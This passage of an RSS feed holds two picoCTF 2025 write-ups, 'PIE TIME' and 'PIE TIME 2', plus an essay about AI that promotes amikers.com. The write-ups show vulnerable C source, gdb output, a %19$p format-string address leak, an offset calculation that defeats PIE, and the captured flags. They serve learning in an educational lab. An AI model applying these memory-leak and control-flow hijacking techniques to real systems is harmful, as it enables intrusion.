“400,” but none of them showed that. So, I tried entering a lot of <em>%p</em>.</p><pre>(gdb) r<br><br>The program being debugged has been started already.<br>Start it from the beginning? (y or n) y<br><br>Starting program: /home/user-picoctf/picoctf_2025/pietime2/vuln <br>warning: Error disabling address space randomization: Operation not permitted<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br><br>Enter your name:%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p <br>0x55e69d43c2a1,0xfbad2288,(nil),(nil),0x55e69d43c2a0,(nil),0x7f5bd42a6780,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x2c70252c70252c,0x7ffc17372018,0x4d7fbb91fec5e100,0x7ffc17371f00,0x55e68426a441,0x1,0x7f5bd40b4d90, enter the address to jump to, ex =&gt; 0x12345: <br><br>Program received signal SIGSEGV, Segmentation fault.</pre><p>And I noticed at the 19th place from the start of the output: <em>0x55e68426a441</em>. It didn’t end with a “400,” but it was close! To double check, I disassembled <em>main()</em>, again, and saw this address as part of the function!</p><pre>Dump of assembler code for function main:<br>   0x000055e68426a400 &lt;+0&gt;:     endbr64 <br>   ...<br>   0x000055e68426a441 &lt;+65&gt;:    mov    $0x0,%eax<br>   ... <br>End of assembler dump.</pre><p>I figured that I could just change the last 3 numbers to 400, and this would give me the address of <em>main()</em>!</p><p>I immediately launched the instance and connected to the server via <em>netcat</em>:</p><pre># Connecting to the server with netcat.<br>nc rescued-float.picoctf.net 62502</pre><p>Then, when it prompted me to enter my name, I entered <em>%19$p</em> format strings to leak the similar address ending in “441” at the 19th place, only. The output was:</p><pre>Enter your name:%19$p<br>0x6207c32c7441<br> enter the address to jump to, ex =&gt; 0x12345:</pre><p>Perfect! I just needed to change the address of <em>0x6207c32c7441</em> to <em>0x6207c32c7400</em>, enter the latter value into the Python program, and calculate the address for the <em>win()</em> function.</p><pre># Python program to calculate memory address for win().<br><br>main = input(&quot;Enter hex: &quot;)<br>main = int(main, 16) - 150<br>main = hex(main)<br>print(main)</pre><p>Output was <em>0x6207c32c736a</em> for the <em>win()</em> address!</p><p>I went back to the Webshell and entered this address to get the flag!</p><pre>Enter your name:%19$p<br>0x6207c32c7441<br> enter the address to jump to, ex =&gt; 0x12345: 0x6207c32c736a<br>You won!<br>picoCTF{p13_5h0u1dn&#39;7_134k_af46d901}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca481b91d209" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/pie-time-2-picoctf-2025-ca481b91d209">PIE TIME 2 — picoCTF 2025</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PIE TIME — picoCTF 2025]]></title>
            <link>https://systemweakness.com/pie-time-picoctf-2025-dbec42ba0857?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbec42ba0857</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[pie-time]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Mon, 17 Mar 2025 01:25:52 GMT</pubDate>
            <atom:updated>2025-05-01T12:52:24.848Z</atom:updated>
            <content:encoded><![CDATA[<h3>PIE TIME — picoCTF 2025</h3><p>I am currently a Master’s student at UC Berkeley studying cybersecurity (infosec), and thanks to Berkeley’s <em>berkeley-hacking-club</em> internal Slack channel, I came across a Capture-The-Flag (CTF) competition hosted by picoCTF (from Carnegie Mellon University). I got stuck on a problem called PIE TIME, and I wasn’t able to find any resources on this, yet. So, I thought I should share in case others might face the same issue.</p><p><strong><em>Related Post:</em></strong><em> </em><a href="https://medium.com/@jinkim138/pie-time-2-picoctf-2025-ca481b91d209"><em>PIE TIME 2</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_vp2AieXldwz5CaHZDvedQ.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><p>So, for this problem, you are given an address <em>rescued-float.picoctf.net, </em>and you connect to it using <em>netcat</em>. You are also given 2 files for the code, one is the .c file (C code) and the other is the binary file (compiled C code).</p><p>I began by downloading the two files into the Webshell and trying to run the binary file:</p><pre># Copy the addresses by right clicking on the &#39;here&#39; links.<br>wget &lt;link_to_source_code&gt;<br>wget &lt;link_to_binary_code&gt;<br><br># Convert to executable.<br>chmod +x vuln<br><br># Run the binary file.<br>./vuln</pre><p>Running the binary file output:</p><pre>Address of main: 0x557a76db133d<br>Enter the address to jump to, ex =&gt; 0x12345:</pre><p>I was supposed to enter the memory address in hex to get the flag, but I didn’t know this address. Entering anything resulted as follows:</p><pre>Address of main: 0x557a76db133d<br>Enter the address to jump to, ex =&gt; 0x12345: 1<br>Your input: 1<br>Segfault Occurred, incorrect address.</pre><p>Then, I opened the source code:</p><pre># Opening the source code in nano.<br>nano vuln.c</pre><p>And examined the code below:</p><pre>// Source code for vuln.c<br><br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;signal.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void segfault_handler() {<br>  printf(&quot;Segfault Occurred, incorrect address.\n&quot;);<br>  exit(0);<br>}<br><br>int win() {<br>  FILE *fptr;<br>  char c;<br><br>  printf(&quot;You won!\n&quot;);<br>  // Open file<br>  fptr = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>  if (fptr == NULL)<br>  {<br>      printf(&quot;Cannot open file.\n&quot;);<br>      exit(0);<br>  }<br><br>  // Read contents from file<br>  c = fgetc(fptr);<br>  while (c != EOF)<br>  {<br>      printf (&quot;%c&quot;, c);<br>      c = fgetc(fptr);<br>  }<br><br>  printf(&quot;\n&quot;);<br>  fclose(fptr);<br>}<br><br>int main() {<br>  signal(SIGSEGV, segfault_handler);<br>  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered<br><br>  printf(&quot;Address of main: %p\n&quot;, &amp;main);<br><br>  unsigned long val;<br>  printf(&quot;Enter the address to jump to, ex =&gt; 0x12345: &quot;);<br>  scanf(&quot;%lx&quot;, &amp;val);<br>  printf(&quot;Your input: %lx\n&quot;, val);<br><br>  void (*foo)(void) = (void (*)())val;<br>  foo();<br>}</pre><p>My main language is Python, but I started my programming journey with C/C++, so I am pretty familiar with it. In fact, I was able to understand Python because of my beginnings with C/C++. But I naturally transitioned over to Python, and now I have much better knowledge of Python than C/C++. Eventually, I forgot a lot of the C/C++ syntax, so it wasn’t the easiest experience.</p><p>Anyways, with great concentration perusing through this code, I saw that this line:</p><pre>printf(&quot;Address of main: %p\n&quot;, &amp;main);</pre><p>prints out the memory address of the <em>main()</em> function. And then, I am prompted to enter the memory address that I’d like to go to, which would be the address of the <em>win()</em> function.</p><p>So, just to get an idea, I inserted the line:</p><pre>printf(&quot;Address of win: %p\n&quot;, &amp;win);</pre><p>below the main address printf line, saved it, compiled the program and ran it to see how the address might look on the local machine.</p><pre># Compiling the program as vuln1 since vuln already exists in directory.<br>gcc vuln.c -o vuln1<br><br># Running the program.<br>./vuln1</pre><p>Output was the following:</p><pre>Address of main: 0x555fe3f1634c<br>Address of win: 0x555fe3f162aa<br>Enter the address to jump to, ex =&gt; 0x12345: </pre><p>When I entered the address of <em>win()</em>, output was the following:</p><pre>Address of main: 0x555fe3f1634c<br>Address of win: 0x555fe3f162aa<br>Enter the address to jump to, ex =&gt; 0x12345: 0x555fe3f162aa<br>Your input: 555fe3f162aa<br>You won!<br>Cannot open file.</pre><p>The last statement was “Cannot open file” because the file that contained the flag did not exist locally. I had to do this on the server via <em>netcat</em>.</p><p>And the prompt for this exercise stated: “Beware of PIE”, meaning that the server will randomize the memory addresses of the functions on every run. PIE stands for “Position-Independent Executable.”</p><p>So, to see the offset from <em>main()</em> to <em>win()</em>, I opened Python, and converted each of the hex to decimal, then subtracted one from the other to get the difference.</p><pre># Python program to calculate difference (offset).<br><br>main = &#39;555fe3f1634c&#39;<br>main = int(main, 16)<br><br>win = &#39;555fe3f162aa&#39;<br>win = int(win, 16)<br><br>print(main)<br>print(win)<br><br># The difference (offset).<br>print(main - win)</pre><p>The difference came out to be 162. And it was 162 every time I ran the program even when both addresses were different on every run. So, this was a clue that the offset might always be the same regardless of randomization due to PIE. And this made sense since the randomization occurred when the program ran. Once it ran, each function would be assigned to the stack as Last-In-First-Out order (LIFO).</p><blockquote>I am not very familiar with how PIE works, but I’d guess that some programs can assign each function to the stack in randomized order for greater security? Just a thought.</blockquote><p>With this clue, I figured that I should calculate the <em>win()</em> function’s address by first finding the offset. The offset of 162 won’t apply to the actual case when we call on the server because this code was compiled separately on the local machine, which had a different memory availability at the time of compilation.</p><p>So, I looked into the binary file using <em>gdb.</em></p><pre>gdb ./vuln</pre><p>The output was:</p><pre>GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1<br>Copyright (C) 2022 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.<br>Type &quot;show copying&quot; and &quot;show warranty&quot; for details.<br>This GDB was configured as &quot;x86_64-linux-gnu&quot;.<br>Type &quot;show configuration&quot; for configuration details.<br>For bug reporting instructions, please see:<br>&lt;https://www.gnu.org/software/gdb/bugs/&gt;.<br>Find the GDB manual and other documentation resources online at:<br>    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.<br><br>For help, type &quot;help&quot;.<br>Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...<br>Reading symbols from ./vuln...<br>(No debugging symbols found in ./vuln)<br>(gdb) </pre><p>Then, I ran the program and just entered any value.</p><pre>(gdb) r</pre><p>The output was:</p><pre>Starting program: /home/user-picoctf/picoctf_2025/vuln <br>warning: Error disabling address space randomization: Operation not permitted<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br>Address of main: 0x55dfa0c3933d<br>Enter the address to jump to, ex =&gt; 0x12345: 1<br>Your input: 1<br><br>Program received signal SIGSEGV, Segmentation fault.<br>0x0000000000000001 in ?? ()</pre><p>After running it once, I disassembled <em>main()</em> and <em>win()</em> as below:</p><pre>(gdb) disas main</pre><p>The output for <em>disas main</em> was:</p><pre>Dump of assembler code for function main:<br>   0x000055dfa0c3933d &lt;+0&gt;:     endbr64 <br>   0x000055dfa0c39341 &lt;+4&gt;:     push   %rbp<br>   0x000055dfa0c39342 &lt;+5&gt;:     mov    %rsp,%rbp<br>   0x000055dfa0c39345 &lt;+8&gt;:     sub    $0x20,%rsp<br>   0x000055dfa0c39349 &lt;+12&gt;:    mov    %fs:0x28,%rax<br>   0x000055dfa0c39352 &lt;+21&gt;:    mov    %rax,-0x8(%rbp)<br>   0x000055dfa0c39356 &lt;+25&gt;:    xor    %eax,%eax<br>   0x000055dfa0c39358 &lt;+27&gt;:    lea    -0xd6(%rip),%rsi        # 0x55dfa0c39289 &lt;segfault_handler&gt;<br>   0x000055dfa0c3935f &lt;+34&gt;:    mov    $0xb,%edi<br>   ...</pre><p>I saw that the address for <em>main()</em> was indeed the output at the beginning of the program:</p><pre># From beginning of program:<br>Address of main: 0x55dfa0c3933d<br><br># From running gdb disas main:<br>0x000055dfa0c3933d &lt;+0&gt;:     endbr64</pre><p>Then I disassembled the <em>win()</em> function as below:</p><pre>(gdb) disas win</pre><p>The output was as below:</p><pre>Dump of assembler code for function win:<br>   0x000055dfa0c392a7 &lt;+0&gt;:     endbr64 <br>   0x000055dfa0c392ab &lt;+4&gt;:     push   %rbp<br>   0x000055dfa0c392ac &lt;+5&gt;:     mov    %rsp,%rbp<br>   0x000055dfa0c392af &lt;+8&gt;:     sub    $0x10,%rsp<br>   ...</pre><p>The address was <em>0x000055dfa0c392a7</em>, or simply, <em>0x55dfa0c392a7</em> (removing the preceding 0’s) for the <em>win()</em> function!</p><p>With <em>0x55dfa0c3933d</em> for <em>main()</em> and <em>0x55dfa0c392a7 </em>for <em>win()</em>, I calculated the offset, which came out to be 150. Just to make sure, I ran gdb multiple times to make sure the offset was always 150.</p><p>Next, I wrote another Python program to calculate the address with this offset.</p><pre># Python program to calculate memory address for win().<br><br>main = input(&quot;Enter hex: &quot;)<br>main = int(main, 16) - 150<br>main = hex(main)<br>print(main)</pre><p>Finally, I started the instance and connected to the server via:</p><pre># Connecting to the server with netcat.<br>nc rescued-float.picoctf.net 63035</pre><p>The output was as usual:</p><pre>Address of main: 0x60928089b33d<br>Enter the address to jump to, ex =&gt; 0x12345:</pre><p>I copied <em>60928089b33d a</em>nd pasted it into my python program above, and the output was <em>0x60928089b2a7</em>, which was the address for the win() function! I pasted this in to the Webshell as below and got the flag!</p><pre>Address of main: 0x60928089b33d<br>Enter the address to jump to, ex =&gt; 0x12345: 0x60928089b2a7<br>Your input: 60928089b2a7<br>You won!<br>picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_80c3b8b7}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbec42ba0857" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/pie-time-picoctf-2025-dbec42ba0857">PIE TIME — picoCTF 2025</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hobbyists / Builders / Makers — Let’s quit worrying about AI and just build on amikers.com]]></title>
            <link>https://medium.com/@jinkim138/hobbyists-builders-makers-lets-quit-worrying-about-ai-and-just-build-on-amikers-com-47f0d885aa16?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/47f0d885aa16</guid>
            <category><![CDATA[builders-and-developers]]></category>
            <category><![CDATA[innovation]]></category>
            <category><![CDATA[tech-enthusiast]]></category>
            <category><![CDATA[makers]]></category>
            <category><![CDATA[hobbyist]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Sat, 30 Mar 2024 21:45:46 GMT</pubDate>
            <atom:updated>2025-03-19T03:22:11.007Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hobbyists / Builders / Makers — Let’s quit worrying about AI and just build</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kzn1vW2-_8oggLQWYyMLfw.png" /><figcaption>My Columns page on www.amikers.com</figcaption></figure><p>We live in a time where the world is telling us that AI will render most of our specialties and jobs obsolete. A lot of the “experts” in the industry, as well as the media, are all claiming this to be true. While it is nice to see that AI will make many things super efficient and easy, it all just sounds like more noise that’s making us even more tired. We’re already faced with a lot of problems as is — layoffs, viruses, the media, global warming, wars, election, interest rate — and now AI is going to do what? How is this even good? Is what I’m doing now a waste of time then?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*MdRwO2kr-C0UyvORWJKiJQ.png" /><figcaption>AI taking our Jobs — Illustration by Violetta Barsuk from Ouch!</figcaption></figure><p>Honestly, AI won’t do any of that, so I think we can relax. This is a bold claim, I know, especially when so many people — both smart and not-so-smart — are prophesying this as an inevitable truth. And I don’ t think they are entirely wrong. There certainly will be jobs and/or specialities that AI might replace in the future. But as history has shown us, loss of some jobs lead to creation of many more jobs, and I don’t think AI, or even AGI, will change this routine of human history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o6oIfE5vfMHQ_zatC_v_zQ.png" /><figcaption>Change in Jobs after the Automobiles —Images from Pinterest</figcaption></figure><p>Recently, LLMs (Large Language Models) have revolutionized the AI technology, and this breakthrough was what basically ignited today’s AI industry. The technology is, no doubt, very impressive, and I use it all the time for many different things — grammar check, code generation, trivia questions, etc. I also develop with it — features on Amikers <em>(</em><a href="https://www.amikers.com/"><em>https://www.amikers.com</em></a><em> if you haven’t checked it out already)</em> such as global translation capability and code generation assistance, as well as separate projects like the “AI Resume Builder” <em>(demo available on Amikers)</em>. Honestly, AI seems to be a great tool, and I hope many more useful applications come out of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/0*fzE0pTZX_H3v3-S9" /><figcaption>Large Language Model AI — Image from Adobestock</figcaption></figure><p>And that’s exactly what it is: a great tool just like any other great tools we’ve had since mankind walked the Earth. Some examples of these tools are:</p><ol><li>Steam engine <em>(1st industrial revolution)</em></li><li>Lightbulb and other electrical tools <em>(2nd industrial revolution)</em></li><li>Personal computer and the internet <em>(3rd industrial revolution)</em></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*xtQML1l2gS2aNfGS5HRdyw.png" /><figcaption>Notable Tools — Images from Wikipedia</figcaption></figure><p>These tools are considered great because we’ve used them in a greatly productive way.<strong><em> A great tool is only great if a user uses the tool in a great way</em></strong>. In other words, the tool, itself, will not somehow make itself great. We make it great, and AI will also be just another tool that we will use in a great way, not another mind that will replace the meaning of human existence. TARS from Interstellar exemplifies how AI can reach its full potential of greatness as a tool for mankind, just like all of its predecessors listed above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*WQsmDOk4FQy8YgJQ" /><figcaption>TARS from Interstellar, copyright Paramount Pictures</figcaption></figure><p>A Terminator would be the opposite, but more on that at a later time 🫤. Let’s just hope that the governments of our world seriously regulate crime and violence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*T6s77OGnQvsvVxQB.jpg" /><figcaption>Terminator from Terminator 2: Judgement Day — Image from Wikipedia</figcaption></figure><p>So, the point is that we should keep doing what we do best as hobbyists, builders, and makers — practicing and improving our craft of building / making things and telling others what we’ve made to inspire them. No matter how much AI gets upgraded, the fact is that it will always be just a tool ready to be used. AI will need people at the forefront to develop and upgrade its software / hardware to better address our needs and be used to bring inspirations. The inevitable truth that always stands is that our needs change over time and that things take place because we feel a strong need for these things <em>at a certain time</em>. Simply put, without people at the forefront addressing the needs as time continues on, AI will probably just get lost.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*FzurfzDljusywsE6BnWnDA.png" /><figcaption>People Engineering Things — Illustration by Semenin Egor from Ouch!</figcaption></figure><p>We have to keep innovating and building things. Our world depends on it, and our future depends on it. Let’s not believe the negativity and even outright lies about the effects of AI. In the end, the concept of economy is inherently human, and without people like us trying and continuing to do what we love, what use are any of these, anyway? Technically, we can live just fine without a lot of these things that we currently use (except for some medical devices, of course).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*nlLMQF_-_22SzXrqFvG7qw.gif" /><figcaption>World Centered on Human Beings — Illustration by Eugene Weiss from Ouch!</figcaption></figure><p>But we choose to use them because using them brings us joy. Generally, advancements in technology happen because we want to marvel, be entertained, and be inspired. Great inventions happen, not necessarily because we physically need them (again, except for some medical devices), but because we want to feel the joy, be inspired, and be hopeful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*6Zov1ltZEh1JidTIZilZrw.png" /><figcaption>Audience Marveling — Illustration by Natasha Remarchuk from Ouch!</figcaption></figure><p>As hobbyists, builders, and makers, we have a responsibility to keep for our world. We have a responsibility of making sure that our world never falls short of its daily dose of inspiration by continuously building things and showcasing them. We need to make sure that our world stays hopeful and constantly moves forward despite all the chaos that has happened. The fate of our world is, ultimately, in our hands. So, let’s build / make / practice our craft and inspire our world by showcasing on <a href="https://www.amikers.com/">www.amikers.com</a>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*5MfTVGnl9-T4NWcYE7mg4A.png" /><figcaption>Constantly Innovating — Illustration by dekob2 from Ouch!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47f0d885aa16" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>